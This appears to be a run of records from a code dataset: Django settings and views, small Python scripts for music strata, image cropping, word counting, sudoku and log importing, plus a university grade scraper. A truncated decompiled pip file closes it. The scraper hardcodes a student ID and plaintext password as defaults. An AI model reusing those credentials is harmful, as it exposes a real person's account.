location\nDOCKER_URL_DAEMON = \"tcp://192.168.33.13:2375\"\nREMOTE_MACHINE_IP = \"192.168.33.13\"\n\n# backend\nBACKEND_CALIPSO = \"https://misapptest.cells.es/calipsoplus-services\"\n\n# frontend\nFRONTEND_CALIPSO = \"https://misapptest.cells.es/calipsoplus\"\n\n# umbrella_logout\nUMBRELLA_LOGOUT = BACKEND_CALIPSO + \"/Shibboleth.sso/Logout?return=\" + FRONTEND_CALIPSO\n\n# umbrella_login\nUMBRELLA_LOGIN = BACKEND_CALIPSO + \"/Shibboleth.sso/Login?target=\" + BACKEND_CALIPSO + \"/calipsoplus-services/umbrella/frontend/\"\n\n# User Office backend API login\nBACKEND_UO_LOGIN = \"https://misapptest.cells.es/duo-services/login/\"\nBACKEND_UO_HASH = \"https://misapptest.cells.es/duo-services/login/umbrella/\"\n","sub_path":"calipsoplus/settings_unittests.py","file_name":"settings_unittests.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"58401393","text":"import numbers\n\nimport abjad\n\n\ndef fill_strata(n_strata, numbers_, n_statements):\n assert abjad.math.is_positive_integer(n_strata)\n assert all(isinstance(_, numbers.Number) for _ in numbers_)\n assert abjad.math.is_positive_integer(n_statements)\n strata = [[] for n in range(n_strata)]\n last_stratum_filled = None\n for repetition in range(n_statements):\n for number in numbers_:\n stratum_to_fill = get_stratum_to_fill(strata, last_stratum_filled)\n strata[stratum_to_fill].append(number)\n last_stratum_filled = stratum_to_fill\n return strata\n\n\ndef get_stratum_to_fill(strata, last_stratum_filled):\n if last_stratum_filled is None:\n return 0\n strata_lengths = [sum(stratum) for stratum in strata]\n minimum_stratum_length = min(strata_lengths)\n if strata_lengths.count(minimum_stratum_length) == 1:\n return strata_lengths.index(minimum_stratum_length)\n else:\n for i in range(len(strata)):\n next_stratum_index = (i + 0) % len(strata)\n if strata_lengths[next_stratum_index] == minimum_stratum_length:\n return next_stratum_index\n raise Exception\n\n\ndef visualize_strata(strata):\n for stratum in strata:\n for i, n in enumerate(stratum):\n string = abs(n) * [abjad.math.sign(n) * 1]\n string = \"\".join([str(x) for x in string])\n string = string.replace(\"1\", \".\")\n string = str(n) + string[1:]\n stratum[i] = string\n\n for stratum in strata:\n stratum = \"\".join(stratum)\n print(stratum)\n\n\ndef get_strata_periods(strata):\n periods = []\n for stratum in strata:\n stratum = [len(x) for x in stratum]\n prev_period = 0\n reversed_stratum = list(reversed(stratum))\n for n in range(len(reversed_stratum)):\n sequence = reversed_stratum[: (n + 1)]\n sequence = abjad.CyclicTuple(sequence)\n cur_period = sequence.period_of_rotation(1)\n if cur_period < prev_period:\n segment = list(reversed(reversed_stratum[: (n + 1)]))[:cur_period]\n periods.append(segment)\n break\n else:\n prev_period = cur_period\n return periods\n\n\nif __name__ == \"__main__\":\n for permutation in abjad.enumerate.yield_all_permutations([1, 2, 9, 3, 7]):\n for n_statements in range(1, 20 + 1):\n strata = fill_strata(3, permutation, n_statements)\n visualize_strata(strata)\n print(get_strata_periods(strata))\n print(\"\")\n input(\"\")\n","sub_path":"aklin/etc/fill_strata/fill_strata.py","file_name":"fill_strata.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"136898330","text":"\"\"\"\ndescription: 题库去答案\n特点的是( C )。 ===>\n特点的是( )。\n\"\"\"\nimport re\n\nfilename = 'tiku.txt'\npattern = '(?:\\(|()(.*?)(?:\\)|))'\n\n\ndef replace(e: re.Match):\n l = len(e.group()) - 2\n return '(' + ' ' * l + ')'\n\n\ntxt = open(filename, 'r', encoding=\"utf-8\").read()\nres = re.sub(pattern, replace, txt)\nfname, ext = filename.split('.')\noutput = f'{fname}_out.{ext}'\nopen(output, 'w', encoding=\"utf-8\").write(res)\n","sub_path":"python_01/format_txt_to_excel_题库_选择填空格式化/99_题库去答案.py","file_name":"99_题库去答案.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"193803093","text":"#\n# @lc app=leetcode.cn id=48 lang=python\n#\n# [48] 旋转图像\n#\n\n# @lc code=start\nclass Solution(object):\n def rotate(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: None Do not return anything, modify matrix in-place instead.\n \"\"\"\n n = len(matrix)\n for i in range(n // 2):\n for j in range((n + 1) // 2):\n matrix[i][j], matrix[n - j - 1][i], matrix[n - i - 1][n - j - 1], matrix[j][n - i - 1] \\\n = matrix[n - j - 1][i], matrix[n - i - 1][n - j - 1], matrix[j][n - i - 1], matrix[i][j]\n# @lc code=end\n\n","sub_path":"src/48.旋转图像.py","file_name":"48.旋转图像.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"358024803","text":"from django.conf.urls import url\nfrom .views import *\n\n\nurlpatterns = [\n url(r'^$', ENewsIndex.as_view(), name='index'),\n url(r'^(?P
[\\w]+)/$', ESectionView.as_view(), name='section'),\n url(r'^(?P[0-9]+)/$', EArticleView.as_view(), name='onearticle'),\n url(r'^(?P
[\\w]+)/(?P[0-9]+)/$', EArticleView.as_view(), name='article'),\n # url(r'^comment/(?P[0-9]+)/$', EArticleView.post, name='add_comment'),\n]\n","sub_path":"knowledge/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"24910273","text":"import numpy as np\nimport cv2\n\n\ndef get_harris_points (img, alpha, k):\n\n if len(img.shape) == 3 and img.shape[2] == 3:\n # should be OK in standard BGR format\n img = cv2.cvtColor (img, cv2.COLOR_BGR2GRAY)\n\n # -----fill in your implementation here --------\n # cv2 wrapper function that finds our top Harris points\n # points = cv2.goodFeaturesToTrack(img,alpha,0.01,10)\n # points = np.int0(points)\n # print(len(points))\n # print('the shape of points', points.shape)\n\n\n\n dst = cv2.cornerHarris(img,2,3,k)\n dst = cv2.dilate(dst,None)\n ret, dst = cv2.threshold(dst,0.01*dst.max(),255,0)\n dst = np.uint8(dst)\n\n #find centroids\n ret, labels, stats, centroids = cv2.connectedComponentsWithStats(dst)\n\n #define the criteria to stop and refine the corners\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.001)\n corners = cv2.cornerSubPix(img,np.float32(centroids),(5,5),(-1,-1),criteria)\n corners = corners[:alpha]\n # ----------------------------------------------\n \n # print('len of corners', len(corners))\n\n return corners\n\n\n# start of some code for testing get_harris_points()\nif __name__ == \"__main__\":\n img = cv2.imread (\"../data/bedroom/sun_aiydcpbgjhphuafw.jpg\")\n print (get_harris_points (img, 50, 0.04))\n","sub_path":"python/getHarrisPoints.py","file_name":"getHarrisPoints.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"321232348","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import LabelEncoder\nfrom functools import reduce\nfrom keras.utils import np_utils\n\ncolumns = [\"Names\", \"Text\", \"Emotion\", \"Fiducia\", \"?\"]\n\ndf_cv = pd.read_csv(\"ariaset_train.tsv\", sep=\"\\t\", encoding=\"latin-1\", names=columns)\ndf_dev = pd.read_csv(\"ariaset_dev.tsv\", sep=\"\\t\", encoding=\"latin-1\", names=columns)\ndf_test = pd.read_csv(\"ariaset_test.tsv\", sep=\"\\t\", encoding=\"latin-1\", names=columns)\n\n\n# Simple function to correctly set up the df\ndef preprocess(data):\n df = data.drop(['?'], axis=1)\n df = df.dropna()\n df = df.sample(frac=1)\n for idx, cell in df[\n \"Text\"].iteritems():\n if 'Nessuna' in df.loc[idx, 'Emotion']: # skipping over lines with no label for Emotion\n df = df.drop(idx)\n return df\n\n\n# create labels for the crossval train dataset\ndf_cv = preprocess(df_cv)\ncv_text = df_cv[\"Text\"]\nemotion = df_cv[\"Emotion\"]\n\nemotion_list = emotion.tolist()\nencoder = LabelEncoder()\nencoder.fit(emotion_list)\n\nencoded_cv = encoder.transform(emotion_list)\n\ncv_y = np_utils.to_categorical(encoded_cv)\n\n# create labels for the dev dataset\ndf_dev = preprocess(df_dev)\ndev_text = df_dev[\"Text\"]\ndev_emotion = df_dev[\"Emotion\"]\n\ndev_emotion_list = dev_emotion.tolist()\nencoder = LabelEncoder()\nencoder.fit(dev_emotion_list)\nencoded_dev = encoder.transform(dev_emotion_list)\n\ndev_y = np_utils.to_categorical(encoded_dev)\n\n# create labels for the test dataset\ndf_test = preprocess(df_test)\ntest_text = df_test[\"Text\"]\ntest_emotion = df_test[\"Emotion\"]\n\ntest_emotion_list = test_emotion.tolist()\nencoder = LabelEncoder()\nencoder.fit(test_emotion_list)\nencoded_test = encoder.transform(test_emotion_list)\n\ntest_y = np_utils.to_categorical(encoded_test)\n\n# create labels for the final train dataset\ndf_train = pd.concat([cv_text, dev_text])\ntrain_y = np.concatenate([cv_y, dev_y])\ntrain_y_list = np.concatenate([encoded_cv, encoded_dev])\n\n\n\n# Following is a series of helper functions to be used for Fasttext\n\n# This module returns a list of verses labelled in fasttext format\ndef label_data_return_list(results, data):\n labelled = list()\n for i, j in zip(results, data):\n t = \"__label__\" + i + \" \" + j + \"\\n\"\n labelled.append(t)\n return labelled\n\n\n# Returns a list of numbers representing the emotions\ndef convert_pre(pre):\n y_pred = list()\n for r in pre:\n if r[0][0] == '__label__Ammirazione':\n y_pred.append(0)\n if r[0][0] == '__label__Amore':\n y_pred.append(1)\n if r[0][0] == '__label__Gioia':\n y_pred.append(2)\n if r[0][0] == '__label__Paura':\n y_pred.append(3)\n if r[0][0] == '__label__Rabbia':\n y_pred.append(4)\n if r[0][0] == '__label__Tristezza':\n y_pred.append(5)\n return y_pred\n\n# This function attaches the correct labels\ndef label_data(results, data, filename):\n labelled = list()\n for i, j in zip(results, data):\n t = \"__label__\" + i + \" \" + j + \"\\n\"\n labelled.append(t)\n fn = filename + \".txt\"\n fi = open(fn, \"w\",encoding=\"latin-1\")\n fi.writelines(labelled)\n return fn\n\n\ndef convert_emotion_list_to_string_of_numbers(emotion):\n emotion_list = emotion.tolist()\n encoder = LabelEncoder()\n encoder.fit(emotion_list)\n encoded = encoder.transform(emotion_list)\n return encoded\n\n\ndef Average(lst):\n return reduce(lambda a, b: a + b, lst) / len(lst)\n","sub_path":"preprocessing_pipeline/Preprocessing.py","file_name":"Preprocessing.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"576008425","text":"\"\"\"Problem: https://www.hackerrank.com/challenges/py-check-subset/problem?h_r=next-challenge&h_v=zen&h_r=next-challenge&h_v=zen\"\"\"\n\n# Number of total test cases\nnum_cases = int(input())\n\nfor _ in range(num_cases):\n # Number of elements in first set\n num_A = int(input())\n A = set(map(int, input().split()))\n # Number of elements in second set\n num_B = int(input())\n B = set(map(int, input().split()))\n\n # Print whether or not A is a subset of B (A intersects B)\n print(A == A.intersection(B))\n ","sub_path":"python/sets/check_subset.py","file_name":"check_subset.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"376178820","text":"from django.shortcuts import render, render_to_response\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.core.context_processors import csrf\nfrom django.views.generic import *\nfrom projects.models import *\nfrom projects.forms import *\nfrom django.contrib.auth.decorators import login_required\nfrom django import forms\n\nfrom projects.forms import RoleForm\n\n@login_required\ndef create_project(request):\n if request.POST:\n form = ProjectForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect('/projects/')\n else:\n form = ProjectForm(initial={'widgets': {'owner': forms.HiddenInput}, 'owner': request.user})\n\n args = {}\n args.update(csrf(request))\n args['form'] = form\n return render_to_response('projects/create_project.html', args)\n\n\nclass IndexList(ListView):\n context_object_name = 'projects'\n queryset = Project.objects.order_by('-deadline')\n template_name = 'projects/project_index.html'\n\n\n@login_required\ndef details(request, id):\n detail = Project.objects.get(pk=id)\n roles= Role.objects.filter(project=detail)\n if request.method == 'GET':\n form = RoleForm(initial={ 'profile': request.user, 'project': detail})\n return render(request, 'projects/project_detail.html',\n {'project':detail,\n 'form': form,\n 'roles':roles})\n elif request.method == 'POST':\n form = RoleForm(request.POST)\n if form.is_valid():\n form.save()\n return render(request, 'projects/project_detail.html',\n {'project':detail,\n 'form': form,\n 'roles':roles})\n else:\n return render(request, 'projects/project_detail.html',\n {'project':detail,\n 'form': form,\n 'roles':roles})\n\n@login_required\ndef edit_project(request, id):\n detail = Project.objects.get(pk=id)\n roles= Role.objects.filter(project=detail)\n return render_to_response('projects/edit_project.html',)\n","sub_path":"internal/projects/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"72036282","text":"# coding: utf-8\n\nimport sys\nfrom unipath import Path\npath = Path(__file__).absolute().ancestor(3)\nsys.path.insert(0, path)\nimport md5\nfrom datetime import datetime\nfrom utils.tail import Tail\n\nfrom db import get_config_value, get_or_create_host, get_db_connection,\\\n get_or_create_squid_request_status, get_or_create_request_method,\\\n get_or_create_user, get_or_create_mimetype, get_or_create_http_status_code,\\\n has_traffic, insert_traffic\n\ndef log_monitor():\n squid_log_path = get_config_value(\"squid_log_path\")\n tail = Tail(squid_log_path)\n\n with get_db_connection() as conn:\n for line in tail:\n splited_line = line.split()\n\n # MD5\n md5_obj = md5.new()\n md5_obj.update(line)\n md5_hex = md5_obj.hexdigest()\n\n if not has_traffic(md5_hex, conn):\n unknown_mimetype = False\n try:\n line = line.encode('utf-8')\n except:\n unknown_mimetype = True\n\n splited_line = line.split()\n\n timestamp = splited_line[0]\n timestamp = datetime.fromtimestamp(\n float(timestamp)\n ).strftime('%Y-%m-%d %H:%M:%S')\n host = splited_line[2]\n squid_request_status, http_status_code = splited_line[3].split('/')\n url_bytes = splited_line[4]\n request_method = splited_line[5]\n url = splited_line[6]\n user = splited_line[7]\n\n if unknown_mimetype:\n mimetype = \"unknown\"\n else:\n mimetype = splited_line[9]\n\n host_id = get_or_create_host(host, conn=conn)[0]\n\n squid_request_status_id = get_or_create_squid_request_status(squid_request_status, conn=conn)[0]\n\n http_status_code_id = get_or_create_http_status_code(http_status_code, conn=conn)[0]\n\n request_method_id = get_or_create_request_method(request_method, conn=conn)[0]\n\n user_id = get_or_create_user(user, conn=conn)[0]\n\n mimetype_id = get_or_create_mimetype(mimetype, conn=conn)[0]\n\n insert_traffic(conn,\n md5_hex,\n timestamp,\n squid_request_status_id,\n http_status_code_id,\n url_bytes,\n request_method_id,\n url.replace(\"'\", \"\"),\n user_id,\n mimetype_id,\n host_id\n )\n\n conn.commit()\n\nif __name__ == \"__main__\":\n log_monitor()\n","sub_path":"importer/commands/log_monitor.py","file_name":"log_monitor.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"484455570","text":"import jieba\n\n\n# 创建停用词list\ndef stopwords_list(file_path):\n stopwords = [line.strip() for line in open(file_path, 'r', encoding='utf-8').readlines()]\n return stopwords\n\n\n# 对句子去除停用词\ndef remove_stop_words(sentence):\n stopwords = stopwords_list('d://temp//stop_words.txt') # 这里加载停用词的路径\n outstr = ''\n sentence_seged = jieba.cut(sentence.strip())\n for word in sentence_seged:\n if word.isdigit():\n continue\n if word not in stopwords:\n if word != '\\t':\n outstr += word\n outstr += \" \"\n return outstr\n\n\n\ndef main():\n file = open('d://temp//focus_news_20200208.csv', encoding=\"utf-8\")\n txt = file.read()\n txt = remove_stop_words(txt)\n # words = jieba.lcut(txt) #无空格\n # words = jieba.lcut(txt,cut_all=True) #有空格\n words = jieba.lcut_for_search(txt)\n counts = {}\n for word in words:\n if len(word) == 1:\n continue\n else:\n counts[word] = counts.get(word, 0) + 1\n\n items = list(counts.items())\n\n items.sort(key=lambda x: x[1], reverse=True)\n # items.sort(reverse = True)\n for i in range(20):\n word, count = items[i]\n print(word, count)\n # print('{0:<10}{1:>5}'.format(word,count))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"test/jieba_demo.py","file_name":"jieba_demo.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"608801756","text":"import os\nfrom PIL import Image\n\n\ndef image_parts(image_path, output_dir, output_basename):\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n img = Image.open(image_path)\n\n # print(img.filename)\n width, height = img.size\n x, y = int(width / 2) - 224 * 3, int(height / 2) - 224 * 3\n if x < 0:\n x = 0\n if y < 0:\n y = 0\n\n parts = list()\n i = 0\n while i < 6:\n i = i + 1\n j = 0\n while j < 6:\n j = j + 1\n image = Image.new(\"L\", (224, 224))\n _x = int(x + 224 * i)\n _y = int(y + 224 * j)\n image.paste(img.crop((_x, _y, _x + 224, _y + 224)), (0, 0, 224, 224))\n image_path = output_dir + \"/\" + output_basename + \"_\" + str(i) + \"_\" + str(j) + \".jpg\"\n image.save(image_path)\n parts.append(image_path)\n\n for img in parts:\n m = Image.open(img)\n m = m.convert(\"RGB\")\n m.save(img)\n\n return parts\n\n\nif __name__ == '__main__':\n image_parts(\"/Users/philip.du/Documents/Projects/research/tea_cnn/samples/20190112/C-MPX0021-170950.jpg\",\n \"/Users/philip.du/Documents/Projects/research/tea_cnn/samples/20190112/parts\",\n \"C-MPX0021-170950.jpg\")\n","sub_path":"extract/image_part.py","file_name":"image_part.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"333271240","text":"from django.shortcuts import get_object_or_404\n\nimport commonware.log\nimport jingo\n\nfrom .models import MdnCache\nfrom .tasks import refresh_mdn_cache, tutorials, locales\n\n\nlog = commonware.log.getLogger('z.ecosystem')\n\n\ndef landing(request):\n return jingo.render(request, 'ecosystem/landing.html')\n\n\ndef tutorial(request, page=None):\n\n if not page:\n page = 'apps'\n\n if request.LANG:\n locale = request.LANG.split('-')[0]\n if not locale in locales:\n locale = 'en'\n else:\n locale = 'en'\n\n data = get_object_or_404(MdnCache, name=page, locale=locale)\n\n ctx = {\n 'tutorials': tutorials,\n 'page': page,\n 'content': data.content,\n 'toc': data.toc\n }\n\n return jingo.render(request, 'ecosystem/tutorial.html', ctx)\n","sub_path":"mkt/ecosystem/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"587347239","text":"#!/usr/bin/env python\n#\n# Created by: Shawn Chen \n#\n# LICENSE\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License as published by the Free\n# Software Foundation; either version 2 of the License, or(at your option)\n# any later version.\n#\n# This program is distributed in the hope that it will be useful, but WITHOUT\n# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for\n# more details at http://www.gnu.org/copyleft/gpl.html\n#\n# Brief\n# Solves LeetCode Problem 36: Valid Sudoku\n\nclass Solution(object):\n def isValidSudoku(self, board):\n \"\"\"\n :type board: List[List[str]]\n :rtype: bool\n \"\"\"\n if not board:\n return False\n row = [set() for i in xrange(9)]\n col = [set() for i in xrange(9)]\n grid = [set() for i in xrange(9)]\n for i in xrange(9):\n for j in xrange(9):\n if board[i][j] != '.':\n if board[i][j] in row[i]:\n return False\n else:\n row[i].add(board[i][j])\n if board[i][j] in col[j]:\n return False\n else:\n col[j].add(board[i][j])\n if board[i][j] in grid[i/3*3 + j/3]:\n return False\n else:\n grid[i/3*3 + j/3].add(board[i][j])\n return True\n","sub_path":"Problem36/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"560482042","text":"import requests\nimport bs4\nimport time\nimport urllib.parse as enco\nimport sqlite3\nimport re\n\n# ==========================================================================\n# At first, this program did not work.\n# At last, I found its reason is just I misspelled the word \"pwd\" as \"pws\".\n# Holy shit!!\n# It wastes me almost 3 days to find the fucking solution!!\n# ===========================================================================\n\nclass Cal:\n\tdef __init__(self, user, password):\n\t\tself.user = user\n\t\tself.pwd = password\n\t\tself.url = \"http://210.42.121.241/servlet/Login\"\n\t\tself.gradeurl = \"http://210.42.121.241/servlet/Svlt_QueryStuScore?year=0&term=&learnType=&scoreFlag=0&t=\"\n\t\tcurtime = time.strftime(\"%a %b %d %G \")\n\t\tcurtime = enco.quote(curtime)\n\t\tself.gradeurl = self.gradeurl + curtime + time.strftime(\"%T\") + \"%20GMT+0800%20(%D6%D0%B9%FA%B1%EA%D7%BC%CA%B1%BC%E4)\"\n\n\tdef getcaptche(self):\n\t\t__captche = \"http://210.42.121.241/servlet/GenImg\"\n\t\theaders = {\n\t\t\t\"Host\": \"210.42.121.241\",\n\t\t\t\"Connection\": \"keep-alive\",\n\t\t\t\"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\n\t\t\t\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\",\n\t\t\t\"Accept-Encoding\": \"gzip,deflate,sdch\",\n\t\t\t\"Accept-Language\": \"zh-CN,zh;q=0.8\"\n\t\t}\n\t\t__response0 = requests.get(__captche, headers=headers)\n\t\tself.cookies = __response0.cookies\n\t\tself.cotext = re.findall('kie (.*) for ', str(self.cookies))[0]\n\t\t__captcheimg = open(\"0.jpg\", \"wb\")\n\t\t__captcheimg.write(__response0.content)\n\t\t__captcheimg.close()\n\t\t__captchecode = input(\"Enter the strings in the picture: \")\n\t\treturn __captchecode\n\n\tdef work(self):\n\t\tpostData = {\n\t\t\t\"id\": self.user,\n\t\t\t\"pwd\": self.pwd,\n\t\t\t\"xdvfb\": self.getcaptche()\n\t\t}\n\t\trequestHeader0 = {\n\t\t\t\"Cookie\": self.cotext,\n\t\t\t\"Host\": \"210.42.121.241\",\n\t\t\t\"Origin\": \"http://210.42.121.241\",\n\t\t\t\"Referer\": \"http://210.42.121.241/\",\n\t\t\t\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\"\n\t\t}\n\t\tlogin_response = requests.post(self.url, data=postData, headers=requestHeader0, cookies=self.cookies)\n\n\t\trequestHeader1 = {\n\t\t\t\"Cookie\": self.cotext,\n\t\t\t\"Host\": \"210.42.121.241\",\n\t\t\t\"Referer\": \"http://210.42.121.241/stu/stu_score_parent.jsp\",\n\t\t\t# \"Referer\": \"http://210.42.121.241/servlet/Login\",\n\t\t\t\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\"\n\t\t}\n\t\tconn = requests.get(self.gradeurl, cookies=login_response.cookies, headers=requestHeader1)\n\n\t\tconn_text = conn.text\n\t\tcheck = re.findall('captcha-img', str(conn_text))\n\t\tif check != []:raise ValueError(\"Invalid captcha input!!\")\n\t\tsoup = bs4.BeautifulSoup(str(conn_text), \"html.parser\")\n\t\tdata = soup.find_all(\"tr\")\n\n\t\tconnection = sqlite3.connect(\"MyGrade.db\")\n\t\tcur = connection.cursor()\n\t\tcur.executescript('''\n\t\tcreate table if not exists AllCourses(\n\t\t\ttitle integer not null,\n\t\t\tclass integer not null,\n\t\t\tcredit integer not null,\n\t\t\tname integer not null,\n\t\t\tyear integer not null,\n\t\t\tsemester integer not null,\n\t\t\tscore integer not null,\n\t\t\ttype integer not null\n\t\t);\n\t\tcreate table if not exists CourseTitle(\n\t\t\tid integer primary key not null unique,\n\t\t\ttitle text unique\n\t\t);\n\t\tcreate table if not exists CourseClass(\n\t\t\tid integer primary key not null unique,\n\t\t\tclass text unique\n\t\t);\n\t\tcreate table if not exists CourseCredit(\n\t\t\tid integer primary key not null unique,\n\t\t\tcredit text unique\n\t\t);\n\t\tcreate table if not exists CourseName(\n\t\t\tid integer primary key not null unique,\n\t\t\tname text unique\n\t\t);\n\t\tcreate table if not exists CourseYear(\n\t\t\tid integer primary key not null unique,\n\t\t\tyear integer unique\n\t\t);\n\t\tcreate table if not exists CourseSemester(\n\t\t\tid integer primary key not null unique,\n\t\t\tsemester text unique\n\t\t);\n\t\tcreate table if not exists CourseType(\n\t\t\tid integer primary key not null unique,\n\t\t\ttype text unique\n\t\t);\n\t\tcreate table if not exists CourseScore(\n\t\t\tid integer primary key not null unique,\n\t\t\tscore not null\n\t\t)\n\t\t''')\n\n\t\tdef getGPA(num):\n\t\t\tif float(num) >= 90: return 4.0\n\t\t\telif float(num) >= 85: return 3.7\n\t\t\telif float(num) >= 82: return 3.3\n\t\t\telif float(num) >= 78: return 3.0\n\t\t\telif float(num) >= 75: return 2.7\n\t\t\telif float(num) >= 72: return 2.3\n\t\t\telif float(num) >= 68: return 2.0\n\t\t\telif float(num) >= 64: return 1.5\n\t\t\telse: return 1.0\n\n\t\t_credit = []\n\t\t_totalCredit = []\n\t\t_totalGPA = []\n\t\tfor item in data:\n\t\t\tinfo = re.findall(\"(.*)\", str(item))\n\t\t\tif info == []: continue\n\t\t\ttitle = info[1]\n\t\t\t_class = info[2]\n\t\t\tcredit = info[3]\n\t\t\tname = info[4]\n\t\t\ttype = info[6]\n\t\t\tyear = int(info[7])\n\t\t\tsemester = info[8]\n\t\t\tscore = info[9]\n\t\t\tif score == \"\":\n\t\t\t\tscore = 1\n\t\t\t\t_totalCredit.append(credit)\n\t\t\telif float(score) >= 60:\n\t\t\t\t_credit.append(credit)\n\t\t\t\t_totalGPA.append(getGPA(score) * float(credit))\n\t\t\tscore = float(score)\n\n\t\t\tcur.execute(\"insert or ignore into CourseSemester(semester) values (?)\", (semester ,))\n\t\t\tcur.execute(\"select id from CourseSemester where semester = ?\", (semester, ))\n\t\t\tsemester_id = cur.fetchone()[0]\n\n\t\t\tcur.execute(\"insert or ignore into CourseScore(score) values (?)\", (score ,))\n\t\t\tcur.execute(\"select id from CourseScore where score = ?\", (score, ))\n\t\t\tscore_id = cur.fetchone()[0]\n\n\t\t\tcur.execute(\"insert or ignore into CourseType(type) values (?)\", (type ,))\n\t\t\tcur.execute(\"select id from CourseType where type = ?\", (type, ))\n\t\t\ttype_id = cur.fetchone()[0]\n\n\t\t\tcur.execute(\"insert or ignore into CourseCredit(credit) values (?)\", (credit ,))\n\t\t\tcur.execute(\"select id from CourseCredit where credit = ?\", (credit, ))\n\t\t\tcredit_id = cur.fetchone()[0]\n\n\t\t\tcur.execute(\"insert or ignore into CourseName(name) values (?)\", (name ,))\n\t\t\tcur.execute(\"select id from CourseName where name = ?\", (name, ))\n\t\t\tname_id = cur.fetchone()[0]\n\n\t\t\tcur.execute(\"insert or ignore into CourseYear(year) values (?)\", (year ,))\n\t\t\tcur.execute(\"select id from CourseYear where year = ?\", (year, ))\n\t\t\tyear_id = cur.fetchone()[0]\n\n\t\t\tcur.execute(\"insert or ignore into CourseTitle(title) values (?)\", (title ,))\n\t\t\tcur.execute(\"select id from CourseTitle where title = ?\", (title, ))\n\t\t\ttitle_id = cur.fetchone()[0]\n\n\t\t\tcur.execute(\"insert or ignore into CourseClass(class) values (?)\", (_class ,))\n\t\t\tcur.execute(\"select id from CourseClass where class = ?\", (_class, ))\n\t\t\tclass_id = cur.fetchone()[0]\n\n\t\t\tcur.execute(\"insert or replace into AllCourses(title, class, credit, name, year, semester, score, type) values (?, ?, ?, ?, ?, ?, ?, ?)\", (title_id, class_id, credit_id, name_id, year_id, semester_id, score_id, type_id))\n\n\t\t\tprint(title, \" \", _class, \" \", credit, \" \", name, \" \", year, \" \", semester, \" \", score, \" \", type)\n\t\t\tprint(\"===\"*20)\n\t\tconnection.commit()\n\n\t\tdef sum0(list):\n\t\t\tsummation = 0\n\t\t\tfor num in list:\n\t\t\t\tsummation += float(num)\n\t\t\treturn summation\n\n\t\tprint(\"Well done.\")\n\t\tprint(\"Your total credit for now is \", sum0(_credit))\n\t\tprint(\"Your future credit is \", sum0(_credit) + sum0(_totalCredit))\n\t\tprint(\"Your credit in this semester is \", sum0(_totalCredit))\n\t\tprint(\"Your current GPA is \", sum0(_totalGPA)/sum0(_credit))\n\n\t\n\n\nwhile True:\n\tuser = input(\"Enter your user name: \")\n\tpassword = input(\"Enter your password: \")\n\n\tif len(user) < 1:\n\t\tuser = \"2013301000021\"\n\tif len(password) < 1:\n\t\tpassword = \"zjk1995\"\n\n\tc = Cal(user, password)\n\tc.work()","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":7401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"421786231","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /tmp/pip-install-pn36swhz/pip/pip/_internal/utils/filesystem.py\n# Compiled at: 2020-02-14 17:24:54\n# Size of source mod 2**32: 5255 bytes\nimport errno, os, os.path, random, shutil, stat, sys\nfrom contextlib import contextmanager\nfrom tempfile import NamedTemporaryFile\nfrom 